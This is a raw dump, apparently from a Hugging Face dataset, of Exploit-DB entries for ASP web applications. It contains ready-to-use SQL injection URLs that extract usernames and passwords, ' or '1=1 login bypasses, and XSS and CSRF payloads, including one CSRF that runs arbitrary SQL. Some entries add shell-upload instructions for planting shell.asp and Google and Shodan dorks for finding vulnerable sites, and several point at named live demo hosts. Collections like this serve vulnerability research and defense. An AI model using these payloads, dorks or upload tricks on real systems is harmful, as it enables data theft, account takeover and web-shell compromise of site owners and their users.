deardaniel/secdata-raw huggingface dataset:
Exploit-DB #13884
Description: Restaurant Listing with Online Ordering - SQL Injection
Type: webapps
Platform: asp
Date: 2010-06-15
Author: L0rd CrusAd3r

Exploit:
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ########################################## 1
0 I'm L0rd CrusAd3r member from Inj3ct0r Team 1
1 ########################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Restaurant Listing SQl Vulnerable
Vendor url:http://www.webvolume.co.uk
Version:n/a
Price:n/a
Published: 2010-06-15
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Own your own restaurant guide, with reviews, driving directions and
pictures. This website allows you to charge the restaurant owners a fixed
amount per year of a listing. It also gives you the option to offer basic
listings (ones without pictures, opening hours etc) for free.

Whats Included?

# FREE business cards to advertise your new business/website
# Full email support via our helpd desk for the life time of your website
# Logo for your website
# Your own domain name
# Unlimited email addresses for your website
# Unlimited email forwarders - so your website email can be forwarded to
your existing email address
# Unlimited web space - so as your site grows it will never run out of disk
space
# All money made from your website is yours to keep - it goes directly to
your PayPal account
# Free advertising and promotion guide
# Free basic search engine submission for 1 month to get you started


~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/TypeSearch.asp?typeID=[sqli]

# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #32401
Description: rgb72 WCMS 1.0 - 'index.php' SQL Injection
Type: webapps
Platform: asp
Date: 2008-09-22
Author: CWH Underground

Exploit:
source: https://www.securityfocus.com/bid/31298/info

rgb72 WCMS is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

rgb72 WCMS 1.0b is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/news_detail.asp?id=1+union+select+1,2,3,f_user,f_password,6,7,8+from+upass%00

http://www.example.com/[path]/news_detail.asp?id=1+union+select+1,2,f_user,4,5,f_password,7,8,9,10,11,12,13+from+upass%00
Exploit-DB #22357
Description: RSA ClearTrust 4.6/4.7 - Login Page Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2003-03-15
Author: sir.mordred@hushmail.com

Exploit:
source: https://www.securityfocus.com/bid/7108/info

A cross-site scripting vulnerability has been discovered in ClearTrust. Specifically, the login page for the management application is not properly sanitized of some user-supplied values.

An attacker can exploit this vulnerability by creating a specially crafted URL that includes malicious HTML code for the login page used by ClearTrust.

https://victim.com/cleartrust/ct_logon.asp?CTLoginErrorMsg=<script>alert(1)
</script>

https://victim.com/cleartrust/ct_logon.asp?CTAuthMode=BASIC&CTLoginErrorMsg=
xx&ct_orig_uri=">< script>alert(1)/script><"
Exploit-DB #47789
Description: Rumpus FTP Web File Manager 8.2.9.1 - Reflected Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2019-12-18
Author: Harshit Shukla

Exploit:
# Exploit Title: Rumpus FTP Web File Manager 8.2.9.1 - Reflected Cross-Site Scripting
# Google Dork: site:*.*.com "Web File Manager" inurl:?login=
# Shodan Dork: Server: Rumpus
# Date: 2019-12-14
# Exploit Author: Harshit Shukla, Sudeepto Roy
# Vendor Homepage: https://www.maxum.com/
# Tested On: Windows & Mac
# Version: 8.2.9.1
# CVE: CVE-2019-19368

Description: 
A reflected XSS was identified on the Login page of RUMPUS FTP Web File Manager.

PoC:

Payload: ?!'><sVg/OnLoAD=alert`1`//

Vulnerable URL:
http://127.0.0.1/Login?!'><sVg/OnLoAD=alert`1`//

Solution:
Update to the latest version released by vendor.
Exploit-DB #3936
Description: runawaysoft haber portal 1.0 - 'tr' Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2007-05-16
Author: kerem125

Exploit:
############################################################################################################
#Discovered by: kerem125 & gsy
#Website: http://www.kerem125.com/
#Script download: http://www.aspindir.com/goster/4901
#Exploit: /devami.asp?id=14 union+select+all+0,sifre,2,3,4,5,6,7+from+admin
#Admin Login : haber/admin/kontrol.asp
#Example: http://www.runaway.somee.com/rshaber/haber/devami.asp?id=1 union+select+all+0,sifre,2,3,4,5,6,7+from+admin
#
Contact : kerem125@kerem125.com & by_gsy@hotmail.com

#Special Thanks to : by_emR3 - Bolivar - VolTiGoRe - CyberGhost - KinSize - xYz - F-10
############################################################################################################

RunawaySoft Haber portal v1.0 (tr) Database Disclosure
Example: [site.com]/[path]/haber/data/xice.mdb

# milw0rm.com [2007-05-16]
Exploit-DB #26745
Description: RWAuction Pro 4.0 - 'search.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-06
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15740/info

The 'rwAuction Pro' application is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions 4.0 is vulnerable; prior versions may also be affected. 

http://www.example.com/search.asp?searchtxt=[XSS]
Exploit-DB #12029
Description: SafeSHOP 1.5.6 - Cross-Site Scripting / Multiple Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-04-03
Author: cp77fk4r

Exploit:
# Exploit Title: SafeSHOP <= 1.5.6 Cross Site Scripting & Multiple Cross Site Request Forgery.
# Date: 15/03/10
# Author: cp77fk4r | empty0page[SHIFT+2]gmail.com<http://gmail.com> | www.DigitalWhisper.co.il<http://www.DigitalWhisper.co.il>
# Software Link: safeshop.co.il<http://safeshop.co.il>
# Version: <= 1.5.6
# Tested on: ASP
#
##[Cross Site Scripting]
Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it. (OWASP)
#
(the victim must by logged as admin)
http://[SITE]/admin/system-alert.asp?errMsg=[YOUR_XSS_HERE]
#
#
##[SQL Injection by CSRF:]
CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application. (OWASP)
#
Page: http://[SITE]/admin/utilities_SQL.asp
#
[HTTP POST REQUEST]
mySQL=[YOUR_SQL_QUERY_HERE]&Submit=+%D7%91%D7%A6%D7%A2+%D7%A9%D7%90%D7%99%D7%9C%D7%AA%D7%94+
#
#
##[Send Email from Admin by CSRF:]
#
Page: http://[SITE]/admin/email_exec.asp
#
[HTTP POST]
emailFrom=[ADMIN@SITE_DOMAIM]&emailTo=[TO]&emailSubj=[EMAIL_SUBJET_HERE]&emailBody=[EMAIL_BODY_HERE]&sendDup=1&Submit=++%D7%A9%D7%9C%D7%97+%D7%93%D7%95%D7%90%D7%A8+%D7%90%D7%9C%D7%A7%D7%98%D7%A8%D7%95%D7%A0%D7%99++
#
#
##[Send Msg to all costumers by CSRF:]
#
Page: http://[SITE]/admin/SA_news_exec.asp
#
[HTTP POST]
newsSubj=[MSG_SUBJECT_HERE]&viewCust=Y&newsBody=%0D%0A%0D%0A%0D%0A%3Cdiv+style%3D%22direction%3A+ltr%3B%22%3E[MSG_BODY_HERE]%3C%2Fdiv%3E+&MyAction=add&idNews=&submit1=++%D7%94%D7%95%D7%A1%D7%A3+%D7%94%D7%95%D7%93%D7%A2%D7%94++
#
#
[e0f]
Exploit-DB #7924
Description: SalesCart - Authentication Bypass
Type: webapps
Platform: asp
Date: 2009-01-30
Author: ByALBAYX

Exploit:
#############################################
#----C4TEAM.ORG---ByALBAYX----C4TEAM.ORG----#
#############################################
[~]Author   : ByALBAYX

[~]Website  : WWW.C4TEAM.ORG
#############################################
[~]Script   :SalesCart Product Management Plugin

[~]Site     :http://www.salescart.com

[~]Demo     :http://www.salescart.com/scorderdemo/online/default.asp

[~]Details  :http://www.salescart.com/demo.htm
#############################################
Order Management Plugin

Create sales reports, invoices, labels, track fulfillment, export data, QuickBooks

[~]Working Demo

[~]http://www.salescart.com/scorderdemo/online/default.asp

[~]UserID   : ' or '1=1


[~]Password : ' or '1=1

[~]http://www.salescart.com/scorderdemo/online/customer/customer_login.asp

[~]Ship-to Email Address : xxx@c4team.org


[~]Password : ' or '1=1


[~]http://www.salescart.com/scorderdemo/online/affiliate/affiliate_login.asp

#############################################

[~]http://www.c4team.org/ [PATH] /default.asp


[~]UserID   : ' or '1=1


[~]Password : ' or '1=1


[~]vs... :D

#############################################
[~]iSiNiZE BAqIN :=)

[~]Greetz For C4TEAM Members
#############################################
[~]Uzun Yillardir Bu Iskorpitx Nefretini Anlayamadim Gitti....

[~]Gotlerinin Bokuyla isko'ya Rajon Kesiyo ibneler :D :D
#############################################
Derdimi dinledim, derdimden iGRENDiM...
Onun derdini gordum, derdime iMRENDiM...
FilistiN
----------

# milw0rm.com [2009-01-30]
Exploit-DB #32394
Description: Sama Educational Management System - 'error.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-09-18
Author: Lagon666

Exploit:
source: https://www.securityfocus.com/bid/31242/info

Sama Educational Management System is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/Error.asp?Message=XSS
Exploit-DB #33923
Description: SamaGraph CMS - 'inside.aspx' SQL Injection
Type: webapps
Platform: asp
Date: 2010-03-11
Author: K053

Exploit:
source: https://www.securityfocus.com/bid/39892/info

SamaGraph CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/inside.aspx?g=' or '1'='1'--
Exploit-DB #32882
Description: SAP Business Objects Crystal Reports 7-10 - 'viewreport.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2009-04-02
Author: Bugs NotHugs

Exploit:
source: https://www.securityfocus.com/bid/34341/info

SAP Business Objects Crystal Reports is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

NOTE: This issue may be related to the one described in BID 12107 (Business Objects Crystal Enterprise Report File Cross-Site Scripting Vulnerability). We will update or retire this BID when more information emerges.

https://www.example.com/some/path/viewreport.asp?url=viewrpt.cwr?ID=7777"%0d%0awindow.alert%20"fsck_cissp^^INIT=actx:connect
Exploit-DB #36934
Description: SAP Business Objects InfoVew System - 'listing.aspx?searchText' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2012-03-08
Author: vulns@dionach.com

Exploit:
source: https://www.securityfocus.com/bid/52361/info

SAP Business Objects is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

SAP Business Objects XI R2 is vulnerable; other versions may be affected. 

http://www.example.com/businessobjects/enterprise115/InfoView/listing.aspx
searchText=</script><script>alert(1);</script>
Exploit-DB #36935
Description: SAP Business Objects InfoView System - '/help/helpredir.aspx?guide' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2012-03-08
Author: vulns@dionach.com

Exploit:
source: https://www.securityfocus.com/bid/52361/info
 
SAP Business Objects is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
SAP Business Objects XI R2 is vulnerable; other versions may be affected. 

https://www.example.com/businessobjects/enterprise115/infoview/help/helpredir.aspx?guide=&#039;+alert(&#039;XSS 1&#039;)+&#039;&lang=en&rpcontext=&#039;+alert(&#039;XSS 2&#039;)+&#039;#
Exploit-DB #36936
Description: SAP Business Objects InfoView System - '/webi/webi_modify.aspx?id' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2012-03-08
Author: vulns@dionach.com

Exploit:
source: https://www.securityfocus.com/bid/52361/info
  
SAP Business Objects is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  
SAP Business Objects XI R2 is vulnerable; other versions may be affected. 

https://www.example.com/businessobjects/enterprise115/infoview/webi/webi_modify.aspx?id=&#039;+alert(&#039;XSS&#039;)+&#039;#
Exploit-DB #8065
Description: SAS Hotel Management System - 'id' SQL Injection
Type: webapps
Platform: asp
Date: 2009-02-16
Author: Darkb0x

Exploit:
#found by DarkB0x
#contact darkB0x97[AT]googlemail.com
#greets for str0ke & AlpHaNiX

#script           : SAS Hotel Management System
#download         : Null
#script home page : http://www.sellatsite.com/sellatsite/hotel.asp
#Demo             : http://www.aebest.com


#Exploits :

//*/

http://www.aebest.com/home/myhotel_info.asp?id=0+and+1=0+union+select+0,userid,0,0,pwd,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+h_user


#note : the injection's details are in page title ! xD

# milw0rm.com [2009-02-16]
Exploit-DB #13882
Description: SAS Hotel Management System - 'notfound' SQL Injection
Type: webapps
Platform: asp
Date: 2010-06-15
Author: L0rd CrusAd3r

Exploit:
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ########################################## 1
0 I'm L0rd CrusAd3r member from Inj3ct0r Team 1
1 ########################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1

Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:SAS Hotel Management System SQL Vulnerable
Vendor url:http://www.sellatsite.com
Version:n/a
Price:28$
Published: 2010-06-15
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team, Andhrahackers.com

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Description:

SAS Hotel Management System reservation portal. Agents, Hotel and Resorts
owner can submit their hotels and resorts for booking. Email alerts on
rooms or resorts reservation for both buyer and owner. Website owner hotels
and resort listings will appear always on the top of the list. Website owner
hotels and resorts photo gallery. Agents and hotel owners can submit images
during registration. Powerful admin to control register hotels, agents and
their payments. 2Checkout, Paypal and Manual payment options.

Note: Listings submitted for UAE only you can start checking script by
registering your own hotel or resort.



~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL :http://server/home/user_login.asp?notfound=[sqli]

# 0day n0 m0re #
# L0rd CrusAd3r #

-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #8070
Description: SAS Hotel Management System - Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2009-02-17
Author: ZoRLu

Exploit:
[~] SAS Hotel Management System Remote Shell Upload
[~]
[~] Demo: http://www.aebest.com/home/home.asp
[~] ----------------------------------------------------------
[~] home: yildirimordulari.com   if you wanna help you must register to my site and Ä± will do help to you  xD
[~]
[~] home: yildirimordulari.com   eger yardim istiyosan siteye uye olmalisin xD
[~]
[~] author: ZoRLu  msn: trt-turk@hotmail.com  
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] Date:17/02/09
[~]
[~] My Best Friend: Dr.LY0N
[~] -----------------------------------------------------------

add this code your shell:

GIF89a;

after you go here : http://www.yildirim.com/register_hotel.asp

select your photo but photo must be your shell.asp

after finished you register

your shell here: http://www.yildirim.com/upload_images/shell.asp

 
for demo:

here:  http://www.aebest.com/home/register_hotel.asp

shell: http://www.aebest.com/upload_images/z.asp

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & Dr.LY0N & z3h!r & HEAD_HUNTER and yildirimordulari.com all users
[~]
[~] yildirimordulari.com  &  experl.com & z0rlu.blogspot.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-02-17]
Exploit-DB #12218
Description: School Management System Pro 6.0.0 - Backup Dump
Type: webapps
Platform: asp
Date: 2010-04-14
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : School Management System Pro 6.0.0 Backup Dump Vulnerability
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com/vb     
| # Web Site : http://dl.p30vel.ir/scripts/smans(www.p30vel.ir){a.allahparast}.zip                                                                            
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Backup Dump                                                                      
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1- C:\Program Files\Smans\smdb.mdb
 
 2- C:\Program Files\Smans\smans.exe (2 Login)
 
in smdb.mdb you find all info about login or about any thing about school
 
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * Meher Assel ====================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com *  www.alkrsan.net * www.mormoroth.net
---------------------------------------------------------------------------------------------------------------
Exploit-DB #30696
Description: SearchSimon Lite 1.0 - 'Filename.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-10-20
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/26142/info

SearchSimon Lite is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example/filename.asp?QUERY=[XSS]&Submit=Search%21&ACTION=SEARCH
Exploit-DB #23571
Description: SelectSurvey CMS - 'ASP.NET' Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2012-12-21
Author: 040

Exploit:
=============================================================
SelectSurvey CMS (ASP.NET) Shell Upload Vulnerability
=============================================================
 
###################################################
#
# Exploit Title: SelectSurvey.NETv4 CMS (ASP.NET) Shell Upload Vulnerability
# DDate: 20/12/2012
# Author: 040
# Software Link: www.classapps.com
# Version: 3.x . 4.0
# Tested on: windows
# dork : "SelectSurvey.NETv4 site:uk"
# Contact: cyber040@hotmail.com ~ @04hazmi
#
####################################################
 
    exploit # /survey/UploadImagePopup.aspx
 
or http://survey.site.com/UploadImagePopup.aspx
 
 
  Upload to # http://site.com/UploadedImages/shell.asp
 
 
#######################################################
 

Greetz :  Matlo3a-Dz